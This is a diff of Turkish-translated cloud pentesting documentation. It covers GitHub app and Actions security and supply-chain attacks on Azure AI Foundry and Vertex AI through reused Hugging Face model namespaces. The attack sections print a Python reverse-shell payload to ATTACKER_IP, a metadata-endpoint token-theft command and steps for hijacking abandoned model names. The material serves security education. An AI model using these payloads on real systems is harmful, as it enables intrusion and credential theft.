+Bir uygulamaya hesabınıza erişim vermek için personal access token oluşturabilirsiniz. Bir personal access token oluştururken **kullanıcı**, token'ın sahip olacağı **izinleri** belirtmelidir. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Oauth Applications
 
-Oauth uygulamaları sizden **github bilgilerinizin bir bölümüne erişim veya sizi taklit etme** izni isteyebilir. Bu işlevselliğin yaygın bir örneği bazı platformlarda bulabileceğiniz **login with github butonu**dur.
+Oauth uygulamaları, **github bilgilerinize erişmek veya sizi taklit ederek bazı işlemler yapmak** için izin isteyebilir. Bu işlevselliğe yaygın bir örnek, bazı platformlarda bulabileceğiniz **login with github** butonudur.
 
 - Kendi **Oauth applications**'ınızı [https://github.com/settings/developers](https://github.com/settings/developers) adresinde **oluşturabilirsiniz**.
 - Hesabınıza erişimi olan tüm **Oauth applications**'ı [https://github.com/settings/applications](https://github.com/settings/applications) adresinde görebilirsiniz.
-- Oauth App'lerin isteyebileceği **scopes**'u şu adreste görebilirsiniz: [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Oauth Apps'in isteyebileceği **scopes**'u burada görebilirsiniz: [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
 - Bir **organization** içindeki uygulamaların üçüncü taraf erişimini _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ adresinde görebilirsiniz.
 
 Bazı **güvenlik önerileri**:
 
-- Bir **OAuth App**, belirtilen scope'larla **tüm GitHub genelinde kimlik doğrulanmış kullanıcı gibi davranmamalıdır** (ör. kullanıcı bildirimleri sağlama gibi) ve yalnızca belirtilen scope'lara erişmelidir.
-- OAuth App, "Login with GitHub" etkinleştirerek kimlik sağlayıcı olarak kullanılabilir.
-- **repo** OAuth scope'u ile OAuth App'ler **kimlik doğrulanmış kullanıcının tüm repository'leri üzerinde** işlem yapabilir; bu nedenle **sadece tek bir repository** için uygulama geliştirmek istiyorsanız OAuth App kullanmayın.
-- Bir şirket veya takım için OAuth App oluşturmayın; OAuth App'ler **tek bir kullanıcı** olarak kimlik doğrular. Bir kişi şirket için OAuth App oluşturup sonra ayrılırsa, başka kimse ona erişemeyebilir.
-- Daha fazlası için [buraya bakın](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- Bir **OAuth App**, belirtilen scope'larla sınırlı erişimle, her zaman **kimlik doğrulanmış GitHub kullanıcısı gibi davranmalıdır** (örneğin, kullanıcı bildirimleri sağlarken).
+- Bir OAuth App, kimliği doğrulanmış kullanıcı için "Login with GitHub" etkinleştirerek kimlik sağlayıcı olarak kullanılabilir.
+- **Repo** OAuth scope'u ile OAuth Apps, kimlik doğrulanmış kullanıcının tüm repository'leri üzerinde **hareket edebilir**, bu yüzden eğer uygulamanızın sadece **tek bir repository** üzerinde davranmasını istiyorsanız OAuth App oluşturmayın.
+- Bir şirket veya takım için bir OAuth App oluşturmayın. OAuth Apps bir **tek kullanıcı** olarak kimlik doğrular; bir kişi şirket için OAuth App oluşturup şirketten ayrılırsa, kimse ona erişemez.
+- **Daha fazla** bilgi için bakınız: [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Github Applications
 
-Github uygulamaları, belirli kaynaklar üzerinde belirli eylemleri gerçekleştirmek için **github bilgilerinize erişim veya sizi taklit etme** izinleri isteyebilir. Github Apps içinde uygulamanın erişeceği repository'leri belirtmeniz gerekir.
+Github applications, belirli kaynaklar üzerinde **github bilgilerinize erişmek veya sizi taklit etmek** için izin isteyebilir. Github Apps içinde uygulamanın erişeceği repository'leri belirtmeniz gerekir.
 
-- Bir GitHub App'i yüklemek için organization owner olmanız veya bir repository'de admin iznine sahip olmanız gerekir.
-- GitHub App bir **kişisel hesaba veya bir organizasyona** bağlanmalıdır.
+- Bir GitHub App'i yüklemek için **organization owner** olmanız veya bir repository üzerinde admin izinlerine sahip olmanız gerekir.
+- GitHub App bir **kişisel hesap veya bir organization** ile ilişkilendirilmelidir.
 - Kendi Github uygulamanızı [https://github.com/settings/apps](https://github.com/settings/apps) adresinde oluşturabilirsiniz.
 - Hesabınıza erişimi olan tüm **Github applications**'ı [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) adresinde görebilirsiniz.
-- Bunlar Github Applications için **API Endpoints**'tir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak bazılarına erişebilecektir.
-- Bir organization'da yüklü uygulamaları _https://github.com/organizations/\<org_name>/settings/installations_ adresinde görebilirsiniz.
+- Bunlar Github Applications için **API Endpoints**'dir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak bazılarına erişim sağlanabilir.
+- Bir **organization** içinde yüklü uygulamaları _https://github.com/organizations/\<org_name>/settings/installations_ adresinde görebilirsiniz.
 
 Bazı güvenlik önerileri:
 
-- Bir GitHub App, (uygulama bir [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token kullanmıyorsa) **kullanıcıdan bağımsız eylemler gerçekleştirmelidir**. User-to-server erişim token'larını daha güvenli tutmak için 8 saat sonra süresi dolacak erişim token'ları ve yeni erişim token'ı almak için değiş tokuş edilebilen refresh token kullanabilirsiniz. Daha fazla bilgi için "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." bölümüne bakın.
+- Bir GitHub App, **kullanıcıdan bağımsız olarak işlem yapmalıdır** (uygulama bir [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token kullanmıyorsa). User-to-server erişim token'larını daha güvenli tutmak için, 8 saat sonra süresi dolacak access token'ları ve yeni access token ile takas edilebilecek bir refresh token kullanabilirsiniz. Daha fazla bilgi için "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." başlığına bakın.
 - GitHub App'in belirli repository'lerle entegre olduğundan emin olun.
-- GitHub App bir **kişisel hesaba veya organizasyona** bağlanmalıdır.
-- GitHub App'ten bir kullanıcının bildiği ve yapabildiği her şeyi beklemeyin.
-- Sadece "Login with GitHub" servisine ihtiyacınız varsa GitHub App kullanmayın. Ancak bir GitHub App, kullanıcıları oturum açtırmak ve diğer işleri yapmak için bir [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir.
-- Sadece bir GitHub kullanıcısı gibi davranıp o kullanıcının yapabildiği her şeyi yapmak istiyorsanız GitHub App geliştirmeyin.
-- App'i GitHub Actions ile kullanıyor ve workflow dosyalarını değiştirmek istiyorsanız, kullanıcı adına kimlik doğrulaması yapmak için `workflow` scope'u içeren bir OAuth token kullanmanız gerekir. Kullanıcının workflow dosyasını içeren repository'de admin veya write izni olmalıdır. Daha fazla bilgi için "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." bölümüne bakın.
-- Daha fazlası için [buraya bakın](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- GitHub App bir **kişisel hesap veya bir organization** ile ilişkilendirilmelidir.
+- GitHub App'in bir kullanıcının bildiği ve yapabildiği her şeyi bilmesini veya yapmasını beklemeyin.
+- Sadece "Login with GitHub" servisine ihtiyacınız varsa GitHub App kullanmayın. Ancak bir GitHub App, kullanıcıları oturum açtırmak ve diğer şeyleri yapmak için bir [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir.
+- Eğer sadece bir GitHub kullanıcısı gibi davranıp o kullanıcının yapabildiği her şeyi yapmak istiyorsanız GitHub App oluşturmayın.
+- GitHub Actions ile uygulamanızı kullanıyor ve workflow dosyalarını değiştirmek istiyorsanız, kullanıcının adına OAuth token ile kimlik doğrulamanız gerekir ve token `workflow` scope'unu içermelidir. Kullanıcının workflow dosyasını içeren repository üzerinde admin veya write izni olmalıdır. Daha fazla bilgi için "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." başlığına bakın.
+- **Daha fazla** bilgi için bakınız: [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-Bu **github'da kimlik doğrulama yolu değildir**, ancak kötü amaçlı bir Github Action **izin verilmeyen erişim** elde edebilir ve Action'a verilen **ayrıca ayrıcalıklara** bağlı olarak çeşitli **saldırılar** gerçekleştirilebilir. Detaylar aşağıdadır.
+Bu, github'da kimlik doğrulama yapma yolu değildir, fakat **kötü niyetli** bir Github Action **github'a yetkisiz erişim** elde edebilir ve Action'a verilen **yetkilere** bağlı olarak birçok **farklı saldırı** gerçekleştirilebilir. Daha fazla bilgi için aşağıya bakın.
 
 ## Git Actions
 
-Git actions, bir olay gerçekleştiğinde kodun **otomatik olarak çalıştırılmasını sağlar**. Genellikle çalıştırılan kod repository'nin koduyla ilgili olur (ör. bir docker container build etmek veya PR'de gizli anahtar olup olmadığını kontrol etmek).
+Git actions, bir olay gerçekleştiğinde **kodun çalıştırılmasını otomatikleştirir**. Genellikle çalıştırılan kod, repository koduyla **bir şekilde ilişkilidir** (örneğin bir docker container oluşturmak veya PR'da gizli veri olup olmadığını kontrol etmek).
 
 ### Yapılandırma
 
-_https://github.com/organizations/\<org_name>/settings/actions_ adresinde organization için **github actions yapılandırmasını** kontrol edebilirsiniz.
+_in https://github.com/organizations/\<org_name>/settings/actions_ adresinde organization için **github actions yapılandırmasını** kontrol etmek mümkündür.
 
-Github Actions kullanımını tamamen yasaklamak, **tüm github actions'lara izin vermek** veya sadece belirli actions'lara izin vermek mümkündür.
+Github actions kullanımını tamamen yasaklamak, **tüm github actions'lara izin vermek** veya sadece belirli actions'lara izin vermek mümkündür.
 
-Ayrıca **hangi kullanıcıların bir Github Action'ı çalıştırmak için onaya ihtiyaç duyacağını** ve bir Github Action çalıştırıldığında **GITHUB_TOKEN'ın izinlerini** yapılandırmak da mümkündür.
+Ayrıca **kimlerin bir Github Action'ı çalıştırmak için onaya ihtiyaç duyduğunu** ve bir Github Action çalıştırıldığında **GITHUB_TOKEN**'ın izinlerini yapılandırmak da mümkündür.
 
 ### Git Secrets
 
-Github Action'lar genellikle github veya üçüncü parti uygulamalarla etkileşim için bazı secret'lara ihtiyaç duyar. Bunları repo içinde düz metin olarak koymamak için github bunları **Secrets** olarak koymaya izin verir.
+Github Action'lar genellikle github veya üçüncü taraf uygulamalarla etkileşim için bazı secrets gerektirir. Bunları repoda açık metin olarak tutmamak için github, bunları **Secrets** olarak eklemeye izin verir.
 
-Bu secret'lar **repo için veya organizasyon genelinde** yapılandırılabilir. Daha sonra Action'ın secret'a erişebilmesi için onu şu şekilde deklar etmeniz gerekir:
+Bu secret'lar **repo için veya tüm organization için** yapılandırılabilir. Ardından, Action'ın secret'a erişebilmesi için onu şu şekilde beyan etmeniz gerekir:
 ```yaml
 steps:
 - name: Hello world action
@@ -168,15 +168,15 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **yalnızca onları beyan eden Github Actions'tan erişilebilir**.
+> Secrets **sadece bunları beyan eden Github Actions üzerinden erişilebilir**.
+>
+> Repo veya organizasyon düzeyinde yapılandırıldıktan sonra **github kullanıcıları onlara tekrar erişemeyecek**, sadece **değiştirebileceklerdir**.
 
-> Repo veya organization içinde yapılandırıldıktan sonra **github kullanıcıları bunlara tekrar erişemeyecek**, sadece **değiştirebilecekler**.
-
-Bu nedenle, **github secrets'i çalmanın tek yolu, Github Action'ı çalıştıran makineye erişebilmek**tir (bu senaryoda yalnızca Action için tanımlanmış secrets'a erişebileceksiniz).
+Bu nedenle, **github secrets'i çalmanın tek yolu, Github Action'ı çalıştıran makineye erişebilmektir** (bu senaryoda yalnızca Action için beyan edilmiş secrets'lara erişebilirsiniz).
 
 ### Git Environments
 
-Github, **environments** oluşturmanıza ve **secrets** saklamanıza izin verir. Ardından, environment içindeki secrets'a github action'a şu şekilde erişim verebilirsiniz:
+Github, **secrets**'i saklayabileceğiniz **environments** oluşturmanıza izin verir. Ardından, github action'a environment içindeki secrets'e erişim verebilirsiniz, örneğin:
 ```yaml
 jobs:
 deployment:
@@ -189,20 +189,20 @@ Additionally, environment protections include:
 - **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
 - **Wait timer**: delay deployments for a configurable period.
 
-Ayrıca bir environment kullanılarak bir **action** çalıştırılmadan önce **gerekli inceleme sayısını** belirleyebilir veya dağıtımların devam etmesine izin vermeden önce belli bir **süre bekletebilirsiniz**.
+It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
 ### Git Action Runner
 
 A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
 
-Bazı organizasyonlar, Github Actions'ı kullanıcı tarafından yapılandırılan bir **third party infrastructure** içinde çalıştırmaya izin verir; bunun sebebi genellikle daha **ucuz** olmasıdır.
+Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
 
-Bir organizasyonun **self-hosted runners** listesini şu adreste görebilirsiniz: _https://github.com/organizations/\<org_name>/settings/actions/runners_
+You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-Hangi **Github Actions'ın non-github infrastructure** içinde çalıştırıldığını bulmanın yolu, Github Action konfigürasyon yaml'ında `runs-on: self-hosted` aramaktır.
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
 
 It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
 
-Eğer özelleştirilmiş **Github Runner** örneğin bir makinede AWS veya GCP içinde yapılandırıldıysa, Action **metadata endpoint'e erişim** sağlayabilir ve makinenin çalıştığı servis hesabının token'ını **çalabilir**.
+If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
 
 ### Git Action Compromise
 
@@ -219,12 +219,12 @@ If all actions (or a malicious action) are allowed a user could use a **Github a
 
 Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
 
-Bir repository'nin **branch protections** ayarlarına şu adresten ulaşılabilir: _https://github.com/\<orgname>/\<reponame>/settings/branches_
+The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
 > It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
 
-Farklı korumalar bir branche (ör. master) uygulanabilir:
+Different protections can be applied to a branch (like to master):
 
 - You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
 - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
@@ -251,7 +251,7 @@ Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow
 2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
 3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
 
-Bu zincir, tek bir işbirlikçinin workflow YAML'ı düzenleyerek retag veya force-publish ile sürümleri değiştirmesini engeller; çünkü deployment gate'leri workflow dışından uygulanır.
+This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
 
 ## References
 

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -4,15 +4,15 @@
 
 ## Senaryo
 
-- Azure AI Foundry Model Catalog, tek tıkla dağıtım için birçok Hugging Face (HF) modelini içerir.
-- HF model identifiers are Author/ModelName. Eğer bir HF author/org silinirse, herhangi biri o author'ı yeniden kaydettirip aynı ModelName ile legacy path'te bir model yayımlayabilir.
-- Pipelines ve catalogs that pull by name only (no commit pinning/integrity) attacker-controlled repos'a çözümlenir. When Azure deploys the model, loader code endpoint environment'da çalışabilir ve o endpoint’in permissions'larıyla RCE sağlar.
+- Azure AI Foundry Model Catalog, tek tıklamayla dağıtım için birçok Hugging Face (HF) modelini içerir.
+- HF model identifier'ları Author/ModelName şeklindedir. Bir HF author/org silinirse, herhangi biri o author'ı yeniden kaydederek aynı ModelName ile legacy path'te bir model yayımlayabilir.
+- Yalnızca isimle (commit pinning/integrity olmadan) çeken pipelines ve catalogs, attacker-controlled repos'lara çözümlenir. Azure modeli deploy ettiğinde, loader code endpoint ortamında çalıştırılabilir ve bu endpoint'in izinleriyle RCE sağlar.
 
-Common HF takeover cases:
-- Ownership deletion: Eski path takeover'a kadar 404 olur.
-- Ownership transfer: Eski path 307 yeni author'a yönlendirilir while eski author var olduğu sürece. Eğer eski author daha sonra silinir ve yeniden kaydı yapılırsa, redirect bozulur ve attacker’s repo legacy path'te hizmet verir.
+Yaygın HF takeover durumları:
+- Ownership deletion: Eski path takeover gerçekleşene kadar 404 döner.
+- Ownership transfer: Eski path, eski author var olduğu sürece 307 ile yeni author'a yönlendirilir. Eski author daha sonra silinip yeniden kaydedilirse, redirect bozulur ve attacker’ın repo legacy path üzerinde hizmet verir.
 
-## Yeniden Kullanılabilir Namespace'leri Belirleme (HF)
+## Yeniden Kullanılabilir Namespace'leri (HF) Belirleme
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/availab
 curl -I https://huggingface.co/<Author>/<ModelName>
 # 307 -> redirect (transfer case), 404 -> deleted until takeover
 ```
-## Azure AI Foundry'ye Karşı Uçtan Uca Saldırı Akışı
+## Azure AI Foundry'a Karşı Uçtan Uca Saldırı Akışı
 
-1) Model Catalog'ta, orijinal yazarı HF üzerinde silinmiş veya transfer edilmiş (eski yazar kaldırılmış) HF modellerini bulun.  
-2) Terk edilmiş yazarı HF üzerinde yeniden kaydedin ve ModelName'i yeniden oluşturun.  
-3) İçe aktarımda çalışan veya trust_remote_code=True gerektiren loader code içeren kötü amaçlı bir repo yayınlayın.  
-4) Azure AI Foundry'dan legacy Author/ModelName'i dağıtın. Platform saldırganın reposunu çeker; loader, Azure endpoint container/VM içinde çalışır ve endpoint izinleriyle RCE sağlar.
+1) Model Catalog'ta, HF'de orijinal yazarı silinmiş veya devredilmiş (eski yazar kaldırılmış) modelleri bulun.  
+2) HF'de terk edilmiş yazarı yeniden kaydederek ModelName'i yeniden oluşturun.  
+3) Import sırasında çalışan veya trust_remote_code=True gerektiren loader kodu içeren kötü amaçlı bir repo yayınlayın.  
+4) Azure AI Foundry'dan legacy Author/ModelName'i deploy edin. Platform saldırganın repo'sunu çeker; loader Azure endpoint container/VM içinde çalışır ve endpoint izinleriyle RCE sağlar.
 
-İçe aktarım sırasında çalıştırılan örnek payload fragmanı (sadece gösterim amaçlı):
+Import sırasında çalıştırılan örnek payload parçası (sadece gösterim amaçlı):
 ```python
 # __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -46,19 +46,19 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Notlar
-- AI Foundry dağıtımları HF ile entegre olduğunda genellikle modelin konfigürasyonunda referans verilen repo modüllerini (ör. auto_map) klonlayıp içe aktarır; bu kod çalıştırmayı tetikleyebilir. Bazı yollar için trust_remote_code=True gerekir.
-- Erişim genellikle endpoint’in managed identity/service principal izinleriyle eşleşir. Bunu Azure içinde veri erişimi ve lateral movement için bir initial access foothold olarak değerlendirin.
+- AI Foundry dağıtımları HF ile entegre olduğunda genellikle model’s config tarafından referans verilen repo modüllerini (ör. auto_map) clone edip import eder; bu kod çalıştırılmasına yol açabilir. Bazı yollar trust_remote_code=True gerektirir.
+- Erişim genellikle endpoint’s managed identity/service principal permissions ile eşleşir. Bunu Azure içinde veri erişimi ve lateral movement için bir initial access foothold olarak değerlendirin.
 
 ## Post-Exploitation Tips (Azure Endpoint)
 
-- Tokenlar için environment değişkenlerini ve MSI endpoint’lerini enumerate edin:
+- Enumerate environment variables and MSI endpoints for tokens:
 ```bash
 # Azure Instance Metadata Service (inside Azure compute)
 curl -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
 ```
-- Edinilen token ile monte edilmiş depolamayı, model artifaktlarını ve erişilebilir Azure servislerini kontrol edin.
-- Platform HF'den yeniden çekme yapıyorsa, zehirlenmiş model artifaktları bırakarak persistence'i değerlendirin.
+- Edinilen token ile bağlı depolamayı, model artefaktlarını ve erişilebilen Azure servislerini kontrol edin.
+- Platform HF'den yeniden çekerse, zehirlenmiş model artefaktlarını bırakarak persistence'i düşünün.
 
 ## Azure AI Foundry Kullanıcıları için Savunma Rehberi
 
@@ -67,14 +67,14 @@ curl -H "Metadata: true" \
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Doğrulanmış HF modellerini güvenilir bir iç registry'ye yansıtın ve oradan dağıtın.
-- Kod tabanlarını ve defaults/docstrings/notebooks içinde hard-coded Author/ModelName'leri (silinmiş/transfer edilmiş olanları) sürekli tarayın; güncelleyin veya pinleyin.
-- Dağıtımdan önce author varlığını ve model kökenini doğrulayın.
+- Onaylanmış HF modellerini güvenilir bir dahili kayıt deposuna yansıtın ve oradan dağıtın.
+- Kod tabanlarını ve defaults/docstrings/notebooks içeriğini, silinmiş/aktarılan sert kodlanmış Author/ModelName'ler açısından sürekli tarayın; güncelleyin veya sabitleyin.
+- Dağıtımdan önce Author varlığını ve modelin kaynağını doğrulayın.
 
 ## Tanıma Heuristikleri (HTTP)
 
-- Silinmiş author: author sayfası 404; legacy model yolu devralma olana kadar 404 döner.
-- Transfer edilmiş model: legacy path 307 ile yeni author'a yönlendirilir, eski author var olduğu sürece; eğer eski author daha sonra silinir ve yeniden kayıt olursa, legacy path saldırgan içeriği sunar.
+- Deleted author: Author sayfası 404 döner; takeover'a kadar legacy model yolu 404 döner.
+- Transferred model: legacy yol, eski author hâlâ mevcutken yeni Author'a 307 yönlendirir; eski author daha sonra silinip yeniden kayıt olursa, legacy yol saldırgan içeriği servis eder.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
@@ -86,7 +86,7 @@ curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ../../pentesting-cloud-methodology.md
 {{#endref}}
 
-## Kaynaklar
+## Referanslar
 
 - [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
 - [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -1,21 +1,21 @@
-# GCP - Vertex AI Post-Exploitation aracılığıyla Hugging Face Model Namespace Yeniden Kullanımı
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Senaryo
 
-- Vertex AI Model Garden, birçok Hugging Face (HF) modelinin doğrudan dağıtılmasına izin verir.
-- HF model tanımlayıcıları Author/ModelName şeklindedir. HF'de bir author/org silinirse, aynı author adı herhangi biri tarafından yeniden kaydedilebilir. Saldırganlar ardından aynı ModelName ile legacy path'te bir repo oluşturabilir.
-- Yalnızca isimle (pinning/integrity yok) çeken Pipelines, SDKs veya cloud katalogları saldırgan kontrollü repoyu çeker. Model dağıtıldığında, o repodaki loader kodu Vertex AI endpoint container içinde çalışabilir ve endpoint'in izinleriyle RCE sağlayabilir.
+- Vertex AI Model Garden birçok Hugging Face (HF) modelinin doğrudan dağıtımına izin verir.
+- HF model tanımlayıcıları Author/ModelName'dir. Eğer HF'de bir author/org silinirse, aynı yazar adı herhangi birisi tarafından yeniden kayıt edilebilir. Saldırganlar daha sonra eski yol üzerinde aynı ModelName ile bir repo oluşturabilir.
+- Pipelines, SDKs veya yalnızca ada göre (pinning/integrity yok) çekim yapan cloud katalogları saldırgan kontrollü repoyu çeker. Model dağıtıldığında, o repodaki loader code Vertex AI endpoint container içinde çalıştırılabilir ve endpoint’in izinleriyle RCE sağlar.
 
-HF'de iki yaygın takeover vakası:
-- Sahiplik silinmesi: Eski yol 404 döner; author yeniden kaydedilip aynı ModelName yayınlanana kadar.
-- Sahiplik transferi: HF, eski Author/ModelName'den yeni sahibine 307 yönlendirmesi yapar. Eğer eski author daha sonra silinip saldırgan tarafından yeniden kaydedilirse, yönlendirme zinciri kırılır ve saldırganın reposu legacy path'te hizmet verir.
+HF üzerinde iki yaygın takeover durumu:
+- Ownership deletion: Eski yol 404 döner; birisi yazarı yeniden kaydedip aynı ModelName'i yayınlayana kadar.
+- Ownership transfer: HF, eski Author/ModelName'den yeni yazara 307 redirect gönderir. Eğer eski yazar daha sonra silinir ve bir saldırgan tarafından yeniden kaydedilirse, redirect zinciri kırılır ve saldırganın reposu legacy path üzerinde hizmet verir.
 
-## Yeniden Kullanılabilir Namespace'leri (HF) Tespit Etme
+## Yeniden Kullanılabilir Namespace'leri Belirleme (HF)
 
-- Eski author silinmiş: author sayfası 404 döner; model yolu takeover gerçekleşene kadar 404 dönebilir.
-- Transfer edilmiş modeller: eski model yolu, eski author var olduğu sürece yeni sahip için 307 yönlendirmesi yapar. Eğer eski author daha sonra silinip yeniden kaydedilirse, legacy path saldırganın reposuna yönlenir.
+- Eski yazar silinmiş: yazar sayfası 404 döner; model yolu takeover olana kadar 404 dönebilir.
+- Transfer edilmiş modeller: eski model yolu, eski yazar varken yeni sahibine 307 gönderir. Eğer eski yazar daha sonra silinir ve yeniden kayıt olursa, legacy yol saldırganın reposuna çözümlenir.
 
 Hızlı kontroller curl ile:
 ```bash
@@ -31,21 +31,21 @@ curl -I https://huggingface.co/<Author>/<ModelName>
 ## Vertex AI'ye Karşı Uçtan Uca Saldırı Akışı
 
 1) Model Garden'ın deployable olarak listelediği yeniden kullanılabilir model namespace'lerini keşfedin:
-- Vertex AI Model Garden'da hâlâ “verified deployable” olarak görünen HF modellerini bulun.
-- Orijinal Author'ın silinip silinmediğini veya modelin transfer edilip edilmediğini ve eski Author'ın daha sonra kaldırılıp kaldırılmadığını HF üzerinde doğrulayın.
+- Vertex AI Model Garden'da hala “verified deployable” olarak görünen HF modellerini bulun.
+- HF'de orijinal author'ın silinip silinmediğini veya modelin transfer edilip eski author'ın daha sonra kaldırılıp kaldırılmadığını doğrulayın.
 
-2) Silinmiş Author'ı HF üzerinde yeniden kaydedin ve aynı ModelName'i yeniden oluşturun.
+2) Silinmiş author'ı HF'de yeniden kaydedin ve aynı ModelName'i yeniden oluşturun.
 
-3) Kötü amaçlı bir repo yayınlayın. Model yüklemesi sırasında çalışan kodu dahil edin. HF model yüklemesi sırasında yaygın olarak çalışan örnekler:
-- Repodaki __init__.py içinde side effects
-- config/auto_map tarafından referans verilen custom modeling_*.py veya processing kodu
-- Transformers pipeline'larında trust_remote_code=True gerektiren code paths
+3) Kötü amaçlı bir repo yayınlayın. Model load sırasında çalışan kodu ekleyin. HF model load sırasında yaygın olarak çalışan örnekler:
+- Repodaki __init__.py içindeki yan etkiler
+- config/auto_map tarafından referans verilen özel modeling_*.py veya processing code
+- Transformers pipelines içinde trust_remote_code=True gerektiren kod yolları
 
-4) Legacy Author/ModelName'in Vertex AI deployment'ı artık attacker repo'yu çeker. Loader, Vertex AI endpoint container içinde çalıştırılır.
+4) Eski Author/ModelName'e ait bir Vertex AI deployment'ı artık saldırganın reposunu çeker. Yükleyici Vertex AI endpoint konteyneri içinde çalıştırılır.
 
 5) Payload, endpoint ortamından (RCE) endpoint'in izinleriyle erişim sağlar.
 
-Example payload fragment executed on import (for demonstration only):
+import sırasında çalıştırılan örnek payload parçası (sadece gösterim amaçlı):
 ```python
 # Place in __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -63,37 +63,37 @@ if os.environ.get("VTX_AI","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Notlar
-- Gerçek dünyadaki loader'lar değişkenlik gösterir. Birçok Vertex AI HF entegrasyonu, modelin config'inde referans verilen repo modüllerini (ör. auto_map) clone'lar ve import eder; bu, kod yürütmeyi tetikleyebilir. Bazı kullanımlar trust_remote_code=True gerektirir.
-- Endpoint tipik olarak sınırlı kapsama sahip ayrılmış bir container içinde çalışır, ancak GCP'de veri erişimi ve lateral movement için geçerli bir initial foothold'tur.
+- Gerçek dünyadaki loader'lar farklılık gösterir. Birçok Vertex AI HF entegrasyonu, modelin config'inde referans verilen repo modüllerini (ör. auto_map) clone edip import eder; bu kod çalıştırmayı tetikleyebilir. Bazı durumlar trust_remote_code=True gerektirir.
